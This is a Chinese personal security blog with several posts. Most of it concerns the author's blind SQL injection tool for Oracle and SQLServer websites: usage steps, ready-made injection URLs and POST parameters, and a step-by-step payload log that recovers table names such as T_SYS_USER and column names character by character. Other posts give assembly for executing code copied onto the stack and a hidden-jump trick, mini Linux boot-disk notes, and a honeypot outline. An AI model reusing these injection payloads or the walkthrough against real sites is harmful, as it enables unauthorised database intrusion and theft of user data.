Dec0y's profile蜗牛的轨迹PhotosBlogLists Tools Help

Blog


    October 19

    注入工具又升级拉!

    注入工具又升级拉! 增加了对Oracle、SQLServer数据库的注入
     
    Oracle、SQLServer模式使用方法如下:
    1. Get方法:
       a) URL中的填写与Common模式不同,这里只需要输入URL就可以了,如果可注入的参数为字符类型,请在相应的位置添加'来标明;
          URL的填写如下:
          http://www.XXX.com/tsl2.jsp?pname=1'&id=1234
                                                                  ^注意pname为字符类型的,所以添加了'。
         
       b) 方法选择Get,在URL输入框中点击注入点
          如:http://www.XXX.com/tsl2.jsp?pname=1'&id=1234
                                                                        ^鼠标点击点放在'后,用于更改Position输入框中的注入点值
       c) RefURL可填写(有些网站为防止盗链,必须填写)
       d) 选择Table Guess、Row Guess或者Detail Guess其中之一,注意,如果要进行Row Guess,必须在Table Name组合框中选择或者输入表名;如果要进行Detail Guess,除了输入表名之外,还需要输入需要猜解的列的名字,格式为:Row1|Row2|....|
       e) 选择数据库的字符集,针对数据库的中文内容而设置,如果猜解结果存在乱码,选择适当的字符集重新猜解,其中unicode和double byte为双字节,UTF-8为3字节;
       f) 输入猜解的条件,使用者需要熟悉SQL语句的语法;
       g) Success condition为提交的URL条件成立时,网页内所含有的关键字(如果条件不成立,网页内一定不会含有),如:奶油
       h) 模式选择Oracle或者SQLServer
       i) Fire!
       j) 猜解的最终结果显示在最下面得Edit中
      
    2. Post方法:
       a) URL中的填写与Common模式不同,这里只需要输入URL就可以了     
       b) 方法选择Post,同时填入Post参数(如果是字符串型注入则加'),然后将鼠标放在注入点之后
          如:Name=单荣花'&sfzh=211222198201125228&ID_Year=2005&B1=提交
                         ^鼠标点击点放在'后,用于更改Position输入框中的注入点值
       c) RefURL可填写(有些网站为防止盗链,必须填写)
       d) 选择Table Guess、Row Guess或者Detail Guess其中之一,注意,如果要进行Row Guess,必须在Table Name组合框中选择或者输入表名;如果要进行Detail Guess,除了输入表名之外,还需要输入需要猜解的列的名字,格式为:Row1|Row2|....|
       e) 选择数据库的字符集,针对数据库的中文内容而设置,如果猜解结果存在乱码,选择适当的字符集重新猜解,其中unicode和double byte为双字节,UTF-8为3字节;
       f) 输入猜解的条件,使用者需要熟悉SQL语句的语法;
       g) Success condition为提交的URL条件成立时,网页内所含有的关键字(如果条件不成立,网页内一定不会含有),如:奶油
       h) 模式选择Oracle或者SQLServer
       i) Fire!
       j) 猜解的最终结果显示在最下面得Edit中
    October 10

    转发: 启示!!

    Procedures must be called through a register, and code must be aligned by
    the 4-byte boundary.


    复制代码到堆栈并执行

    .586P
    .MODEL FLAT, STDCALL
    includelib user32.lib
    EXTERN MessageBoxA@16:NEAR
    ;----------------------------------------------
    _DATA SEGMENT
    TEXT1 DB "I'm in the stack!", 0
    TEXT2 DB 'Message from the stack', 0
    _DATA ENDS
    _TEXT SEGMENT
    START:
    ; Prepare the stack.
    MOV EBP, ESP
    MOV ECX, OFFSET L1
    SUB ECX, PROC1
    ; Allocate space in the stack.
    SHL ECX,2 ;ECX*4 is must, or the stack will overflow.
    SUB ESP, ECX
    ; Copy the code into the allocated space.
    MOV EDI, ESP
    LEA ESI, PROC1
    CLD
    REP MOVSB
    ; Call the procedure from the stack.
    CALL ESP
    ;CALL PROC1
    ; Restore the stack.
    MOV ESP, EBP
    RETN
    ;ALIGN 4
    PROC1 PROC
    PUSH 0
    PUSH OFFSET TEXT2
    PUSH OFFSET TEXT1
    PUSH 0
    LEA EBX,MessageBoxA@16 ; It's must, or will not find the JMP to
    MessageBoxA@16
    CALL EBX
    RETN
    PROC1 ENDP
    ;ALIGN 4
    L1:
    _TEXT ENDS
    END START


    阴险呀

    .586P
    .MODEL FLAT, STDCALL
    includelib user32.lib
    EXTERN MessageBoxA@16:NEAR
    _DATA SEGMENT

    TEXT1 DB 'No problem!', 0
    TEXT2 DB 'Message', 0
    _DATA ENDS
    _TEXT SEGMENT
    START:
    MOV AX, 015EBH ; The Jmp hide here!!
    JMP $ - 2
    PUSH OFFSET 0
    PUSH OFFSET TEXT2
    PUSH OFFSET TEXT1
    PUSH 0
    CALL MessageBoxA@16
    ll:
    RETN
    _TEXT ENDS
    END START


    September 20

    PE结构图

    向底层进发!
    September 17

    我的工具显现出炉啦!SQLInject Portable Tool

         
          本工具是用来进行SQL注入的工具,主要针对一些没有错误返回信息的网站的表结构猜解(当然,如果有错误返回这个工具也适用,只是没必要使用这个工具了,因为有更好更快捷的工具),尤其是Java+Oracle,PHP+MySQL以及一部分ASP+SQLServer的网站。

    使用方法如下:
    1. Oracle+GET+数字猜解:
       a) URL的填写如下:
          http://www.XXX.com/tsl2.jsp?pname=1' and 0<nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0) --
       b) 方法选择Get
       c) RefURL可填写(有些网站为防止盗链,必须填写)
       d) 选择IsNumber
       e) Position可由程序自动填写,将鼠标输入位置放到URL项需要做判断的数字(此处为"0")之后,程序自动填写Position;
       f) To填写范围,如果选择IsNumber,则为数字,否则为字符,此处为数字,如:255;
       g) Success condition为提交的URL条件成立时,网页内所含有的关键字(如果条件不成立,网页内一定不会含有),如:奶油
       h) Fire!
       i) 猜解的最终结果会以messagebox形式报告
    2. Oracle+POST+数字猜解:
       a) URL的填写如下:
          http://www.XXX.com/tsl2.jsp
       b) 方法选择POST,参数填写
          pname=1' and 0<nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0) --&B1=提交
          多个参数以&间隔;
       c) RefURL可填写(有些网站为防止盗链,必须填写)
       d) 选择IsNumber
       e) Position可由程序自动填写,将鼠标输入位置放到POST参数项需要做判断的数字(此处为"0")之后,程序自动填写Position;
       f) To填写范围,如果选择IsNumber,则为数字,否则为字符,此处为数字,如:255;
       g) Success condition为提交的URL条件成立时,网页内所含有的关键字(如果条件不成立,网页内一定不会含有),如:奶油
       h) Fire!
       i) 猜解的最终结果会以messagebox形式报告
    3. Oracle+GET+字符猜解:
       a) URL的填写如下:
          http://www.XXX.com/tsl2.jsp?pname=1' or 'T'=substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES where table_name like '%USER%' ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1),1,1)--
       b) 方法选择Get
       c) RefURL可填写(有些网站为防止盗链,必须填写)
       d) 取消IsNumber
       e) Position可由程序自动填写,将鼠标输入位置放到URL项需要做判断的数字(此处为"T")之后,程序自动填写Position;
       f) To填写范围,如果选择IsNumber,则为数字,否则为字符,此处为字符,如:Z;
       g) Success condition为提交的URL条件成立时,网页内所含有的关键字(如果条件不成立,网页内一定不会含有),如:奶油
       h) Fire!
       i) 猜解的最终结果会以messagebox形式报告
    2. Oracle+POST+字符猜解:
       a) URL的填写如下:
          http://www.XXX.com/tsl2.jsp
       b) 方法选择POST,参数填写
          pname=1' or 'T'=substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES where table_name like '%USER%' ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1),1,1)--&B1=提交
          多个参数以&间隔;
       c) RefURL可填写(有些网站为防止盗链,必须填写)
       d) 取消IsNumber
       e) Position可由程序自动填写,将鼠标输入位置放到POST参数项需要做判断的数字(此处为"T")之后,程序自动填写Position;
       f) To填写范围,如果选择IsNumber,则为数字,否则为字符,此处为数字,如:Z;
       g) Success condition为提交的URL条件成立时,网页内所含有的关键字(如果条件不成立,网页内一定不会含有),如:奶油
       h) Fire!
       i) 猜解的最终结果会以messagebox形式报告
       
    您可以发送Email免费索取、使用、测试该软件。
       
       All By Dec0y(anti_decoy@126.com)
    April 03

    SQLInject(Java+Oracle)

    SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES  where TABLE_NAME like '%USER%' ORDER BY 1ASC)WHERE ROWNUM<=3)ORDER BY 1DESC)WHERE ROWNUM<=1

     

    1' or 0<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES where table_name like '%USER%' ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0) --

     

    select nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES where table_name like '%USER%' ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0) from user_tables

     

    确定还有USER的第一个用户表的长度:

     

    1' or 0<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES where table_name like '%USER%' ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0) --

    1' or 25<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES where table_name like '%USER%' ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0) --

     

    确定还有USER的第二个用户表的长度:

    1' or 0<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES where table_name like '%USER%' ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1)),0) --

     

    确定第一个用户表名称的第一个字母:

     

    1' or ascii('T')=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES where table_name like '%USER%' ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1),1,1))--

     

    确定第二个用户表名称的第二个字母:

     

    1' or ascii('T')=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES where table_name like '%USER%' ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))--

     

    确定第三个用户表名称的第1个字母:

     

    1' or ascii('T')=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES where table_name like '%USER%' ORDER BY 1ASC)WHERE ROWNUM<=3)ORDER BY 1DESC)WHERE ROWNUM<=1),1,1))--

    1' or ascii('_')=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES where table_name like '%USER%' ORDER BY 1ASC)WHERE ROWNUM<=3)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))--

     

    T_SYS_USER

     

    1' or 0<=nvl(length((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68))),0)

     

    确定第三个用户表列的个数:

    1' or 11=nvl((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME='T_SYS_USER'),0)--

     

    1' or 11=nvl((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME='T_SYS_USER'),0)--

     

    确定第三个用户表第一列列名的长度:

     

    1' or 0<=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME='T_SYS_USER' ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0) --

    1' or 8=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME='T_SYS_USER' ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0) --

     

    确定第三个用户表第一列列名的第一个字母:

    1' or ascii('A')=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME='T_SYS_USER' ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1)) --

     

    确定第三个用户表第一列列名的第2个字母:

    1' or ascii('S')=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME='T_SYS_USER' ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),2,1)) --

     

     

    Mini Linux

    No network support!!! Only have a base file system!



    dd if=/dev/zero of=fsfile bs=1k count=4096

    mke2fs -m 0 -N 2000 ./fsfile

    mount -o loop -t ext2 fsfile /mnt/





    cd /mnt

    mkdir dev

    cp -dpR /dev/tty[0-6] /mnt/dev/

    cp -dpR /dev/fd[01]* /mnt/dev/

    cp -dpR /dev/console /mnt/dev/

    cp -dpR /dev/kmem /mnt/dev/

    cp -dpR /dev/mem /mnt/dev/

    cp -dpR /dev/null /mnt/dev/

    cp -dpR /dev/ram0 /mnt/dev/



    mkdir etc

    mkdir rc.d

    touch fstab

    touch inittab

    touch gettydefs

    cp /etc/passwd .

    cp /etc/ group .

    cp /etc/ shadow .

    cp /etc/termcap .





    vi /mnt/etc/rc

    #!/bin/sh

    /bin/mount -av

    /bin/hostname dec0y



    vi /mnt/etc/fstab

    /dev/ram0 / ext2 defaults

    /dev/fd0 / ext2 defaults

    /proc /proc proc defaults



    vi /mnt/etc/inittab

    id:2:initdefault:

    si::sysinit:/etc/rc

    1:2345:respawn:/sbin/getty 9600 tty1

    2:23:respawn:/sbin/getty 9600 tty2





    mkdir /mnt/lib

    cp -R /lib/ld-* .

    cp -R /lib/libdl* .

    cp -R /lib/libc* .



    umount /mnt

    dd if=fsfile bs=1k | gzip -v9 > fsfile.gz







    dd if=/dev/zero of=bootdisk bs=1k count=2880

    mkfs.msdos bootdisk

    mount -o loop -t msdos bootdisk /mnt/

    syslinux -s





    vi /mnt/syslinux.cfg



    display display.txt

    default linux

    timeout 10

    prompt 1

    label linux

    kernel linux

    append initrd=fsfile.gz root=/dev/ram0 ramdisk_size=5120





    mount -o loop -t ext2 fsfile /mnt

    dd if=fsfile bs=1k | gzip -v9 > fsfile.gz

    mount -o loop -t msdos bootdisk /mnt/

    cp fsfile.gz /mnt/




    蜜罐

    • 蜜罐简介
      • 蜜罐技术的提出
        • DTK: Deception Tool Kit
        • Metaspoit
        • 0-day exploit: packetstorm
      • 蜜罐概念
        • 监视、检测攻击
      • 分类
        • 交互性:
        • 低交互性(honeyd/nepenthes)模拟服务和操作系统
        • 高交互性:真实的操作系统和服务、风险比较高,如:蜜网
        • 虚拟蜜罐:类似高交互
      • 优势
        • 高保真数据
        • 捕获未知攻击,与IDS不同
        • 非资源密集
        • 原理简单
      • Honeyd
        • 2005 Google
        • 模拟多个IP,一个B类网段
        • 模拟协议栈,不模拟操作系统
        • 以脚本方式提供网络服务
        • 支持ICMP
        • 支持代理
        • 监控未使用的IP地址
        • 接受网络流量:arp(监控未使用的IP地址),路由
        • 只在网络层交互,不会影响到宿主
      • Nepenthes
        • 专用蜜罐工具
        • 恶意软件、防病毒
        • mwcollect vs nepenthes: nepenthes win
        • 模拟常见漏洞
        • 交互过程中获取shellcode,从而获取URL
      • 发展历程
        • HoneypotDTK,Honeyd,nepenthes,mwcollect
        • Honeynet: The honeynet project, Gen1/Gen2/Gen3 Honeynet
        • Honeyfarm:
    • Gen3密网技术
      • 原理和历程
        • 研究型、高交互型、可控、一个或多个蜜罐
        • HoneyWall CDROM
      • 技术框架、核心需求
        • HoneyWall
        • 数据控制:snort_inline(已知攻击)、iptables(扫描、dos
        • 数据捕获:
          • 快数据通道  网络行为(Argussnortp0f)、系统行为 sebek@honeypot对进程文件命令
          • 慢数据通道:tcpdump
        • 数据分析
          • walleye

     

    • 应用举例(僵尸网络)
      • 发现方法:
        • IDS,程序指纹
        • 行为监测法:快速连接、长时间在线发呆
        • 蜜罐捕获
      • 恶意软件捕获
        • Nepenthes只能捕获已知的
        • MWWatcher/MWFetcher/PotManager难以识别、控制
      • 恶意软件分析
        • 获取控制信道:控制服务器、口令、频道、频道口令、用户名和昵称结构
        • 静态程序分析:MWDissector、逆向工程
        • 动态行为分析:sndbox.norman.no、在线分析、API Hooking:HoneySniff

     

    January 12

    软件下载


    http://hpux.cs.utah.edu/

    http://aixpdslib.seas.ucla.edu/index.html

    http://sunfreeware.com



    搬家到msn上

    从blogone上搬到这里吧,这里更安全一点,就今天开张吧!